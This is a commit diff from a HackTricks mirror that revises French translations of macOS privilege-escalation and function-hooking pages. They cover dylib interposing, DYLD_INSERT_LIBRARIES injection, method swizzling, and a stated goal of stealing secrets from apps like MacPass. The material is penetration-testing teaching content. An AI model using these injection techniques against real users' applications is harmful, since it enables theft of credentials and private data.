mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-01 23:03:24 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/REA
This commit is contained in:
parent
d22502f60f
commit
3634be99cf
2 changed files with 247 additions and 160 deletions
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -19,10 +19,10 @@
|
|||
**Obtenez des récompenses sans délai**\
|
||||
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
|
||||
|
||||
**Acquérez de l'expérience en pentesting web3**\
|
||||
**Acquérez de l'expérience en pentest web3**\
|
||||
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
||||
|
||||
**Devenez la légende du pirate web3**\
|
||||
**Devenez une légende du piratage web3**\
|
||||
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
||||
|
||||
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos piratages !
|
||||
|
@ -63,11 +63,12 @@ Si vous n'êtes pas familier avec macOS, vous devriez commencer par apprendre le
|
|||
[macos-protocols.md](macos-protocols.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* macOS en open source : [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* macOS en **open source** : [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* Pour télécharger un fichier `tar.gz`, modifiez une URL telle que [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) en [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
Dans les entreprises, les systèmes macOS sont très probablement gérés avec un MDM. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir comment cela fonctionne :
|
||||
Dans les entreprises, les systèmes **macOS** sont très probablement **gérés avec un MDM**. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir **comment cela fonctionne** :
|
||||
|
||||
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
|
||||
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
||||
|
@ -97,14 +98,13 @@ Cela peut se produire dans les situations suivantes :
|
|||
* Le fichier utilisé se trouve dans un répertoire appartenant à l'utilisateur (l'utilisateur peut créer le fichier)
|
||||
* Le fichier utilisé se trouve dans un répertoire appartenant à root, mais l'utilisateur a un accès en écriture dessus en raison d'un groupe (l'utilisateur peut créer le fichier)
|
||||
|
||||
Pouvoir **créer un fichier** qui va être **utilisé par root**, permet à un utilisateur de **profiter de son contenu** ou même de créer des **liens symboliques/hardlinks** pour le pointer vers un autre endroit.
|
||||
Pouvoir **créer un fichier** qui va être **utilisé par root** permet à un utilisateur de **profiter de son contenu** ou même de créer des **liens symboliques/hardlinks** pour le pointer vers un autre endroit.
|
||||
|
||||
Pour ce type de vulnérabilités, n'oubliez pas de **vérifier les installateurs `.pkg`** vulnérables :
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
|
||||
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Abus des privilèges et des autorisations via l'abus de processus
|
||||
|
||||
Si un processus peut **injecter du code dans un autre processus avec des privilèges ou des autorisations supérieures** ou le contacter pour effectuer des actions avec des privilèges, il peut escalader les privilèges et contourner les mesures de défense telles que [Sandbox](macos-security-protections/macos-sandbox/) ou [TCC](macos-security-protections/macos-tcc/).
|
||||
|
@ -112,9 +112,10 @@ Si un processus peut **injecter du code dans un autre processus avec des privil
|
|||
{% content-ref url="macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
### Gestionnaires d'applications pour les extensions de fichiers et les schémas d'URL
|
||||
|
||||
Des applications étranges enregistrées par des extensions de fichiers peuvent être utilisées de manière abusive et différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques.
|
||||
### Manipulation des extensions de fichier et des gestionnaires d'application d'URL
|
||||
|
||||
Des applications étranges enregistrées par des extensions de fichier peuvent être abusées et différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques.
|
||||
|
||||
{% content-ref url="macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
||||
|
@ -122,9 +123,9 @@ Des applications étranges enregistrées par des extensions de fichiers peuvent
|
|||
|
||||
## Élévation de privilèges sur MacOS
|
||||
|
||||
### CVE-2020-9771 - Contournement de TCC et élévation de privilèges avec mount\_apfs
|
||||
### CVE-2020-9771 - Contournement de TCC et élévation de privilèges de mount\_apfs
|
||||
|
||||
**N'importe quel utilisateur** (même non privilégié) peut créer et monter une sauvegarde de machine à remonter dans le temps et **accéder à TOUS les fichiers** de cette sauvegarde.\
|
||||
**N'importe quel utilisateur** (même non privilégié) peut créer et monter un instantané de la machine à remonter le temps et **accéder à TOUS les fichiers** de cet instantané.\
|
||||
Le seul privilège nécessaire est que l'application utilisée (comme `Terminal`) ait **un accès complet au disque** (FDA - Full Disk Access) (`kTCCServiceSystemPolicyAllfiles`), qui doit être accordé par un administrateur.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Hooking de Fonction macOS
|
||||
# Interception de fonctions macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Interception de Fonction
|
||||
## Interception de fonctions
|
||||
|
||||
Créez un **dylib** avec une section **`__interpose`** (ou une section marquée avec **`S_INTERPOSING`**) contenant des tuples de **pointeurs de fonction** qui font référence aux fonctions **originales** et de **remplacement**.
|
||||
Créez une **dylib** avec une section **`__interpose`** (ou une section marquée avec **`S_INTERPOSING`**) contenant des tuples de **pointeurs de fonctions** qui font référence aux fonctions **originales** et de **remplacement**.
|
||||
|
||||
Ensuite, **injectez** la dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interception doit avoir lieu avant le chargement de l'application principale). Évidemment, cette restriction a les **restrictions** appliquées à l'utilisation de DYLD\_INSERT\_LIBRARIES. 
|
||||
Ensuite, **injectez** la dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interception doit se produire avant le chargement de l'application principale). Évidemment, les [**restrictions** appliquées à l'utilisation de **`DYLD_INSERT_LIBRARIES`** s'appliquent également ici](../macos-proces-abuse/macos-library-injection/#check-restrictions). 
|
||||
|
||||
### Interception de printf
|
||||
|
||||
|
@ -29,73 +29,101 @@ Ensuite, **injectez** la dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interception
|
|||
#include <stdarg.h>
|
||||
|
||||
int my_printf(const char *format, ...) {
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
|
||||
int ret = printf("[+] Hello from interpose\n");
|
||||
return ret;
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="hello.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
printf("Hello, world!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Le code ci-dessus est un exemple simple de programme C qui imprime "Hello, world!" sur la console.
|
||||
```c
|
||||
//gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
printf("Hello, World!\n");
|
||||
return 0;
|
||||
printf("Hello World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
devient
|
||||
typedef int (*orig_open_type)(const char *pathname, int flags);
|
||||
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);
|
||||
|
||||
int open(const char *pathname, int flags) {
|
||||
orig_open_type orig_open;
|
||||
orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
|
||||
printf("Opening file: %s\n", pathname);
|
||||
return orig_open(pathname, flags);
|
||||
}
|
||||
|
||||
FILE *fopen(const char *pathname, const char *mode) {
|
||||
orig_fopen_type orig_fopen;
|
||||
orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
|
||||
printf("Opening file: %s\n", pathname);
|
||||
return orig_fopen(pathname, mode);
|
||||
}
|
||||
```
|
||||
|
||||
This code demonstrates how to use function hooking in macOS using the `dlsym` function from the `dlfcn.h` library. The `open` and `fopen` functions are hooked by defining new functions with the same name and signature. The original functions are then obtained using `dlsym` and called within the hooked functions. In this example, when either `open` or `fopen` is called, the pathname of the file being opened is printed to the console before the original function is executed.
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||||
__attribute__((used)) static struct { \
|
||||
const void* replacement; \
|
||||
const void* replacee; \
|
||||
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||
(const void*) (unsigned long) &_replacement, \
|
||||
(const void*) (unsigned long) &_replacee \
|
||||
};
|
||||
|
||||
int my_printf(const char *format, ...)
|
||||
{
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
DYLD_INTERPOSE(my_printf,printf);
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||
[+] Hello from interpose
|
||||
Hello from interpose
|
||||
|
||||
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||
Hello from interpose
|
||||
```
|
||||
## Méthode Swizzling
|
||||
|
||||
En ObjectiveC, voici comment une méthode est appelée : `[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`
|
||||
En ObjectiveC, voici comment une méthode est appelée : **`[instanceDeMaClasse nomDeLaMéthodePremierParam:param1 secondParam:param2]`**
|
||||
|
||||
Il est nécessaire de connaître l'**objet**, la **méthode** et les **paramètres**. Et lorsqu'une méthode est appelée, un **message est envoyé** en utilisant la fonction **`objc_msgSend`** : `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
Il faut l'**objet**, la **méthode** et les **paramètres**. Et lorsqu'une méthode est appelée, un **message est envoyé** en utilisant la fonction **`objc_msgSend`** : `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
L'objet est **`someObject`**, la méthode est **`@selector(method1p1:p2:)`** et les arguments sont **value1**, **value2**.
|
||||
|
||||
En suivant les structures d'objet, il est possible d'atteindre un **tableau de méthodes** où les **noms** et les **pointeurs** vers le code de la méthode sont **stockés**.
|
||||
En suivant les structures d'objet, il est possible d'accéder à un **tableau de méthodes** où les **noms** et les **pointeurs** vers le code de la méthode sont **stockés**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que parce que les méthodes et les classes sont accessibles en fonction de leurs noms, ces informations sont stockées dans le binaire, il est donc possible de les récupérer avec `otool -ov </path/bin>` ou [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
{% endhint %}
|
||||
|
||||
### Accès aux méthodes brutes
|
||||
### Accéder aux méthodes brutes
|
||||
|
||||
Il est possible d'accéder aux informations des méthodes telles que le nom, le nombre de paramètres ou l'adresse comme dans l'exemple suivant :
|
||||
Il est possible d'accéder aux informations des méthodes telles que le nom, le nombre de paramètres ou l'adresse, comme dans l'exemple suivant :
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
|
@ -104,66 +132,70 @@ Il est possible d'accéder aux informations des méthodes telles que le nom, le
|
|||
#import <objc/message.h>
|
||||
|
||||
int main() {
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
|
||||
return 0;
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Méthode Swizzling avec method\_exchangeImplementations
|
||||
|
||||
La fonction method\_exchangeImplementations permet de changer l'adresse d'une fonction pour une autre. Ainsi, lorsque la fonction est appelée, c'est l'autre qui est exécutée.
|
||||
La fonction **`method_exchangeImplementations`** permet de **changer** l'**adresse** de l'**implémentation** d'une fonction par une autre.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ainsi, lorsque la fonction est appelée, c'est l'autre fonction qui est exécutée.
|
||||
{% endhint %}
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
||||
|
@ -181,37 +213,43 @@ La fonction method\_exchangeImplementations permet de changer l'adresse d'une fo
|
|||
@implementation NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really coode is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
return 0;
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really coode is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Méthode Swizzling avec method\_setImplementation
|
||||
{% hint style="warning" %}
|
||||
Dans ce cas, si le code d'implémentation de la méthode légitime vérifie le nom de la méthode, il pourrait détecter cette substitution et l'empêcher de s'exécuter.
|
||||
|
||||
Le format précédent est étrange car vous modifiez l'implémentation de 2 méthodes l'une par l'autre. En utilisant la fonction **`method_setImplementation`**, vous pouvez **changer** l'**implémentation** d'une **méthode pour une autre**.
|
||||
La technique suivante n'a pas cette restriction.
|
||||
{% endhint %}
|
||||
|
||||
N'oubliez pas de **stocker l'adresse de l'implémentation de l'originale** si vous allez l'appeler depuis la nouvelle implémentation avant de l'écraser, car il sera beaucoup plus compliqué de localiser cette adresse plus tard.
|
||||
### Substitution de méthode avec method\_setImplementation
|
||||
|
||||
Le format précédent est étrange car vous modifiez l'implémentation de 2 méthodes l'une par l'autre. En utilisant la fonction **`method_setImplementation`**, vous pouvez changer l'implémentation d'une méthode pour une autre.
|
||||
|
||||
N'oubliez pas de stocker l'adresse de l'implémentation de l'originale si vous allez l'appeler depuis la nouvelle implémentation avant de l'écraser, car il sera ensuite beaucoup plus compliqué de localiser cette adresse.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
@ -228,61 +266,109 @@ static IMP original_substringFromIndex = NULL;
|
|||
@implementation NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
```
|
||||
## Méthodologie d'attaque de Hooking
|
||||
## Méthodologie d'attaque par hooking
|
||||
|
||||
Sur cette page, différentes façons de hooker des fonctions ont été discutées. Cependant, elles impliquaient **l'exécution de code à l'intérieur du processus pour attaquer**.
|
||||
Sur cette page, différentes méthodes pour hooker des fonctions ont été discutées. Cependant, elles impliquent toutes d'exécuter du code à l'intérieur du processus pour attaquer.
|
||||
|
||||
Pour ce faire, la technique la plus simple à utiliser est d'injecter un [Dyld via des variables d'environnement ou de détournement](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Cependant, je suppose que cela pourrait également être fait via [l'injection de processus Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
|
||||
Cependant, les deux options sont **limitées** aux binaires/processus **non protégés**. Consultez chaque technique pour en savoir plus sur les limitations.
|
||||
Cependant, les deux options sont limitées aux binaires/processus non protégés. Consultez chaque technique pour en savoir plus sur les limitations.
|
||||
|
||||
Cependant, une attaque de hooking de fonction est très spécifique, un attaquant fera cela pour **voler des informations sensibles à l'intérieur d'un processus** (sinon, vous feriez simplement une attaque d'injection de processus). Et ces informations sensibles pourraient être situées dans des applications téléchargées par l'utilisateur telles que MacPass.
|
||||
Cependant, une attaque par hooking de fonction est très spécifique, un attaquant le ferait pour voler des informations sensibles à l'intérieur d'un processus (sinon, vous feriez simplement une attaque par injection de processus). Et ces informations sensibles pourraient être situées dans des applications téléchargées par l'utilisateur, telles que MacPass.
|
||||
|
||||
Le vecteur d'attaque de l'attaquant consisterait à trouver une vulnérabilité ou à supprimer la signature de l'application, à injecter la variable d'environnement **`DYLD_INSERT_LIBRARIES`** via le fichier Info.plist de l'application en ajoutant quelque chose comme:
|
||||
